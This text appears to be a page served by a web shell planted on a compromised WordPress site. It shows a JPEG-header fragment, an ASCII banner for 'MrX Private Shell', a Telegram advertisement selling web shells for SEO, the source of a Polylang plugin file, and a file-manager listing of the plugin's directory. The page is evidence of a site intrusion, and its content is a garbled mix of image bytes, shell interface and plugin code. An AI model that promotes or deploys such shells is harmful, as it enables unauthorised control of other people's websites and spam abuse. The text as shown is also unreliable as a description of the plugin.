����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Polylang
*/
/**
* Manages links related functions
*
* @since 1.2
*/
class PLL_Links {
/**
* Stores the plugin options.
*
* @var \WP_Syntex\Polylang\Options\Options
*/
public $options;
/**
* @var PLL_Model
*/
public $model;
/**
* Instance of a child class of PLL_Links_Model.
*
* @var PLL_Links_Model
*/
public $links_model;
/**
* Current language (used to filter the content).
*
* @var PLL_Language|null
*/
public $curlang;
/**
* Constructor
*
* @since 1.2
*
* @param PLL_Base $polylang The Polylang object.
* @param-out PLL_Base $polylang
*/
public function __construct( PLL_Base &$polylang ) {
$this->links_model = &$polylang->links_model;
$this->model = &$polylang->model;
$this->options = $polylang->options;
}
/**
* Returns the home url in the requested language.
*
* @since 1.3
*
* @param PLL_Language|string $language The language.
* @param bool $is_search Optional, whether we need the home url for a search form, defaults to false.
* @return string
*/
public function get_home_url( $language, $is_search = false ) {
if ( ! $language instanceof PLL_Language ) {
$language = $this->model->get_language( $language );
}
if ( empty( $language ) ) {
return home_url( '/' );
}
return $is_search ? $language->get_search_url() : $language->get_home_url();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Capabilities | Folder | 0755 |
|
|
| Model | Folder | 0755 |
|
|
| Options | Folder | 0755 |
|
|
| admin | Folder | 0755 |
|
|
| frontend | Folder | 0755 |
|
|
| install | Folder | 0755 |
|
|
| integrations | Folder | 0755 |
|
|
| modules | Folder | 0755 |
|
|
| settings | Folder | 0755 |
|
|
| base.php | File | 6.11 KB | 0644 |
|
| constant-functions.php | File | 1.81 KB | 0644 |
|
| default-term.php | File | 6.44 KB | 0644 |
|
| filter-rest-routes.php | File | 4.98 KB | 0644 |
|
| filters-links.php | File | 5.64 KB | 0644 |
|
| filters-sanitization.php | File | 3.23 KB | 0644 |
|
| filters-widgets-options.php | File | 2.63 KB | 0644 |
|
| filters.php | File | 12.94 KB | 0644 |
|
| functions.php | File | 5.14 KB | 0644 |
|
| language.php | File | 17.9 KB | 0644 |
|
| links-model.php | File | 6.52 KB | 0644 |
|
| links.php | File | 1.38 KB | 0644 |
|
| olt-manager.php | File | 2.98 KB | 0644 |
|
| switcher.php | File | 10.97 KB | 0644 |
|
| translatable-object-with-types-interface.php | File | 1.03 KB | 0644 |
|
| translatable-object-with-types-trait.php | File | 1.96 KB | 0644 |
|
| translatable-object.php | File | 17.62 KB | 0644 |
|
| translated-object.php | File | 18.93 KB | 0644 |
|
| translated-term.php | File | 14.82 KB | 0644 |
|
| walker-list.php | File | 2.54 KB | 0644 |
|
| widget-calendar.php | File | 11.58 KB | 0644 |
|
| widget-languages.php | File | 5.34 KB | 0644 |
|